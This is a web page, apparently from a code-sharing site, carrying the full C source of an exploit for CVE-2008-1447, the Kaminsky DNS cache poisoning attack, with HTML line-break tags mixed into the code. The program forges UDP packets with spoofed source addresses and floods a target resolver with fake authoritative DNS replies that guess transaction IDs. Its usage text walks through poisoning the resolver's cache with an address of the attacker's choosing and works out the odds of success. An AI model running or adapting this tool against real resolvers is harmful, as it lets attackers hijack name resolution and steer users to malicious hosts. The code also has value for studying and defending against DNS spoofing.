学步园

/*<br /> * Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack<br /> *<br /> * Compilation:<br /> * $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm<br /> *<br /> * Dependency: libdnet (aka libdumbnet-dev under Ubuntu)<br /> *<br /> * Author: marc.bevand at rapid7 dot com<br /> */</p> <p>#define _BSD_SOURCE</p> <p>#include <sys/types.h><br /> #include <err.h><br /> #include <stdio.h><br /> #include <stdlib.h><br /> #include <string.h><br /> #include <math.h><br /> #include <time.h><br /> #include <unistd.h><br /> #include <dumbnet.h></p> <p>#define DNSF_RESPONSE (1<<15)<br /> #define DNSF_AUTHORITATIVE (1<<10)<br /> #define DNSF_REC_DESIRED (1<<8)<br /> #define DNSF_REC_AVAILABLE (1<<7)</p> <p>#define TYPE_A 0x1<br /> #define TYPE_NS 0x2<br /> #define CLASS_IN 0x1</p> <p>struct dns_pkt<br /> {<br /> uint16_t txid;<br /> uint16_t flags;<br /> uint16_t nr_quest;<br /> uint16_t nr_ans;<br /> uint16_t nr_auth;<br /> uint16_t nr_add;<br /> } __attribute__ ((__packed__));</p> <p>void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)<br /> {<br /> unsigned bufi, i, j;<br /> bufi = i = j = 0;<br /> while (name[i])<br /> {<br /> if (name[i] == '.')<br /> {<br /> if (bufi + 1 + (i - j) > size)<br /> fprintf(stderr, "format_domain overflow/n"), exit(1);<br /> buf[bufi++] = i - j;<br /> memcpy(buf + bufi, name + j, i - j);<br /> bufi += i - j;<br /> j = i + 1;<br /> }<br /> i++;<br /> }<br /> if (bufi + 1 + 2 + 2 > size)<br /> fprintf(stderr, "format_domain overflow/n"), exit(1);<br /> buf[bufi++] = 0;<br /> *len = bufi;<br /> }</p> <p>void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type,<br /> uint16_t class)<br /> {<br /> uint16_t tmp;<br /> // name<br /> format_domain(buf, size, len, name);<br /> // type<br /> tmp = htons(type);<br /> memcpy(buf + *len, &tmp, sizeof (tmp));<br /> *len += sizeof (tmp);<br /> // class<br /> tmp = htons(class);<br /> memcpy(buf + *len, &tmp, sizeof (tmp));<br /> *len += sizeof (tmp);<br /> }</p> <p>void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type,<br /> uint16_t class, uint32_t ttl, const char *data)<br /> {<br /> format_qr(buf, size, len, name, type, class);<br /> // ttl<br /> ttl = htonl(ttl);<br /> memcpy(buf + *len, &ttl, sizeof (ttl));<br /> *len += sizeof (ttl);<br /> // data length + data<br /> uint16_t dlen;<br /> struct addr addr;<br /> switch (type)<br /> {<br /> case TYPE_A:<br /> dlen = sizeof (addr.addr_ip);<br /> break;<br /> case TYPE_NS:<br /> dlen = strlen(data) + 1;<br /> break;<br /> default:<br /> fprintf(stderr, "format_rr: unknown type %02x", type);<br /> exit(1);<br /> }<br /> dlen = htons(dlen);<br /> memcpy(buf + *len, &dlen, sizeof (dlen));<br /> *len += sizeof (dlen);<br /> // data<br /> unsigned len2;<br /> switch (type)<br /> {<br /> case TYPE_A:<br /> if (addr_aton(data, &addr) < 0)<br /> fprintf(stderr, "invalid destination IP: %s", data), exit(1);<br /> memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip));<br /> *len += sizeof (addr.addr_ip);<br /> break;<br /> case TYPE_NS:<br /> format_domain(buf + *len, size - *len, &len2, data);<br /> *len += len2;<br /> break;<br /> default:<br /> fprintf(stderr, "format_rr: unknown type %02x", type);<br /> exit(1);<br /> }<br /> }</p> <p>void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags,<br /> const char *name)<br /> {<br /> u_char *out = buf;<br /> struct dns_pkt p = {<br /> .txid = htons(txid),<br /> .flags = htons(flags),<br /> .nr_quest = htons(1),<br /> .nr_ans = htons(0),<br /> .nr_auth = htons(0),<br /> .nr_add = htons(0),<br /> };<br /> u_char qr[256];<br /> unsigned l;<br /> format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);<br /> if (sizeof (p) + l > size)<br /> fprintf(stderr, "dns_query overflow"), exit(1);<br /> memcpy(out, &p, sizeof (p));<br /> out += sizeof (p);<br /> memcpy(out, qr, l);<br /> out += l;<br /> *len = sizeof (p) + l;<br /> }</p> <p>void dns_response(u_char *buf, unsigned size, unsigned *len,<br /> uint16_t txid, uint16_t flags,<br /> const char *q_name, const char *q_ip,<br /> const char *domain, const char *auth_name, const char *auth_ip)<br /> {<br /> u_char *out = buf;<br /> u_char *end = buf + size;<br /> u_char rec[256];<br /> unsigned l_rec;<br /> uint32_t ttl = 24*3600;<br /> struct dns_pkt p = {<br /> .txid = htons(txid),<br /> .flags = htons(flags),<br /> .nr_quest = htons(1),<br /> .nr_ans = htons(1),<br /> .nr_auth = htons(1),<br /> .nr_add = htons(1),<br /> };<br /> (void)domain;<br /> *len = 0;<br /> if (out + *len + sizeof (p) > end)<br /> fprintf(stderr, "dns_response overflow"), exit(1);<br /> memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p);<br /> // queries<br /> format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);<br /> if (out + *len + l_rec > end)<br /> fprintf(stderr, "dns_response overflow"), exit(1);<br /> memcpy(out + *len, rec, l_rec); *len += l_rec;<br /> // answers<br /> format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,<br /> ttl, q_ip);<br /> if (out + *len + l_rec > end)<br /> fprintf(stderr, "dns_response overflow"), exit(1);<br /> memcpy(out + *len, rec, l_rec); *len += l_rec;<br /> // authoritative nameservers<br /> format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,<br /> ttl, auth_name);<br /> if (out + *len + l_rec > end)<br /> fprintf(stderr, "dns_response overflow"), exit(1);<br /> memcpy(out + *len, rec, l_rec); *len += l_rec;<br /> // additional records<br /> format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,<br /> ttl, auth_ip);<br /> if (out + *len + l_rec > end)<br /> fprintf(stderr, "dns_response overflow"), exit(1);<br /> memcpy(out + *len, rec, l_rec); *len += l_rec;<br /> }</p> <p>unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)<br /> {<br /> unsigned len = 0;<br /> // ip<br /> struct ip_hdr *ip = (struct ip_hdr *)buf;<br /> ip->ip_hl = 5;<br /> ip->ip_v = 4;<br /> ip->ip_tos = 0;<br /> ip->ip_id = rand() & 0xffff;<br /> ip->ip_off = 0;<br /> ip->ip_ttl = IP_TTL_MAX;<br /> ip->ip_p = 17; // udp<br /> ip->ip_sum = 0;<br /> struct addr addr;<br /> if (addr_aton(srcip, &addr) < 0)<br /> fprintf(stderr, "invalid source IP: %s", srcip), exit(1);<br /> ip->ip_src = addr.addr_ip;<br /> if (addr_aton(dstip, &addr) < 0)<br /> fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);<br /> ip->ip_dst = addr.addr_ip;<br /> // udp<br /> struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);<br /> udp->uh_sport = htons(1234);<br /> udp->uh_dport = htons(53);<br /> // dns<br /> dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN,<br /> (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,<br /> rand(), DNSF_REC_DESIRED, name);<br /> // udp len<br /> len += UDP_HDR_LEN;<br /> udp->uh_ulen = htons(len);<br /> // ip len & cksum<br /> len += IP_HDR_LEN;<br /> ip->ip_len = htons(len);<br /> ip_checksum(buf, len);<br /> return len;<br /> }</p> <p>unsigned build_response(u_char *buf, const char *srcip, const char *dstip,<br /> uint16_t port_resolver, uint16_t txid,<br /> const char *q_name, const char *q_ip,<br /> const char *domain, const char *auth_name, const char *auth_ip)<br /> {<br /> unsigned len = 0;<br /> // ip<br /> struct ip_hdr *ip = (struct ip_hdr *)buf;<br /> ip->ip_hl = 5;<br /> ip->ip_v = 4;<br /> ip->ip_tos = 0;<br /> ip->ip_id = rand() & 0xffff;<br /> ip->ip_off = 0;<br /> ip->ip_ttl = IP_TTL_MAX;<br /> ip->ip_p = 17; // udp<br /> ip->ip_sum = 0;<br /> struct addr addr;<br /> if (addr_aton(srcip, &addr) < 0)<br /> fprintf(stderr, "invalid source IP: %s", srcip), exit(1);<br /> ip->ip_src = addr.addr_ip;<br /> if (addr_aton(dstip, &addr) < 0)<br /> fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);<br /> ip->ip_dst = addr.addr_ip;<br /> // udp<br /> struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN);<br /> udp->uh_sport = htons(53);<br /> udp->uh_dport = htons(port_resolver);<br /> // dns<br /> dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN,<br /> (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len,<br /> txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,<br /> q_name, q_ip, domain, auth_name, auth_ip);<br /> // udp len<br /> len += UDP_HDR_LEN;<br /> udp->uh_ulen = htons(len);<br /> // ip len & cksum<br /> len += IP_HDR_LEN;<br /> ip->ip_len = htons(len);<br /> ip_checksum(buf, len);<br /> return len;<br /> }</p> <p>void usage(char *name)<br /> {<br /> fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "<br /> "<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>/n"<br /> " <ip-querier> Source IP used when sending queries for random hostnames/n"<br /> " (typically your IP)/n"<br /> " <ip-resolver> Target DNS resolver to attack/n"<br /> " <ip-authoritative> One of the authoritative DNS servers for <domain>/n"<br /> " <port-resolver> Source port used by the resolver when forwarding queries/n"<br /> " <subhost> Poison the cache with the A record <subhost>.<domain>/n"<br /> " <domain> Domain name, see <subhost>./n"<br /> " <any-ip> IP of your choice to be associated to <subhost>.<domain>/n"<br /> " <attempts> Number of poisoning attemps, more attempts increase the/n"<br /> " chance of successful poisoning, but also the attack time/n"<br /> " <repl-per-attempt> Number of spoofed replies to send per attempt, more<br /> replies/n"<br /> " increase the chance of successful poisoning but, but also/n"<br /> " the rate of packet loss/n"<br /> "Example:/n"<br /> " $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16/n"<br /> "This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear/n"<br /> "in r.r.r.r's cache. The chance of successfully poisoning the resolver with/n"<br /> "this example (8192 attempts and 16 replies/attempt) is 86%%/n"<br /> "(1-(1-16/65536)**8192). This example also requires a bandwidth of about/n"<br /> "2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec */n"<br /> "8 bits/byte) and takes about 80 secs to complete (8192 attempts //n"<br /> "100 attempts/sec)./n",<br /> name, name);<br /> }</p> <p>int main(int argc, char **argv)<br /> {<br /> if (argc != 10)<br /> usage(argv[0]), exit(1);<br /> const char *querier = argv[1];<br /> const char *ip_resolver = argv[2];<br /> const char *ip_authoritative = argv[3];<br /> uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);<br /> const char *subhost = argv[5];<br /> const char *domain = argv[6];<br /> const char *anyip = argv[7];<br /> uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);<br /> uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);<br /> if (domain[strlen(domain) - 1 ] != '.')<br /> fprintf(stderr, "domain must end with dot(.): %s/n", domain), exit(1);<br /> printf("Chance of success: 1-(1-%d/65536)**%d = %.2f/n", replies, attempts, 1 - pow((1 -<br /> replies / 65536.), attempts));<br /> srand(time(NULL));<br /> int unique = rand() + (rand() << 16);<br /> u_char buf[IP_LEN_MAX];<br /> unsigned len;<br /> char name[256];<br /> char ns[256];<br /> ip_t *iph;<br /> if ((iph = ip_open()) == NULL)<br /> err(1, "ip_open");<br /> int cnt = 0;<br /> while (cnt < attempts)<br /> {<br /> // send a query for a random hostname<br /> snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain);<br /> len = build_query(buf, querier, ip_resolver, name);<br /> if (ip_send(iph, buf, len) != len)<br /> err(1, "ip_send");<br /> // give the resolver enough time to forward the query and be in a state<br /> // where it waits for answers; sleeping 10ms here limits the number of<br /> // attempts to 100 per sec<br /> usleep(10000);<br /> // send spoofed replies, each reply contains:<br /> // - 1 query: query for the "random hostname"<br /> // - 1 answer: "random hostname" A 1.1.1.1<br /> // - 1 authoritative nameserver: <domain> NS <subhost>.<domain><br /> // - 1 additional record: <subhost>.<domain> A <any-ip><br /> snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);<br /> unsigned r;<br /> for (r = 0; r < replies; r++)<br /> {<br /> // use a txid that is just 'r': 0..(replies-1)<br /> len = build_response(buf, ip_authoritative, ip_resolver,<br /> port_resolver, r, name, "1.1.1.1", domain, ns, anyip);<br /> if (ip_send(iph, buf, len) != len)<br /> err(1, "ip_send");<br /> }<br /> cnt++;<br /> }<br /> ip_close(iph);<br /> return 0;<br /> }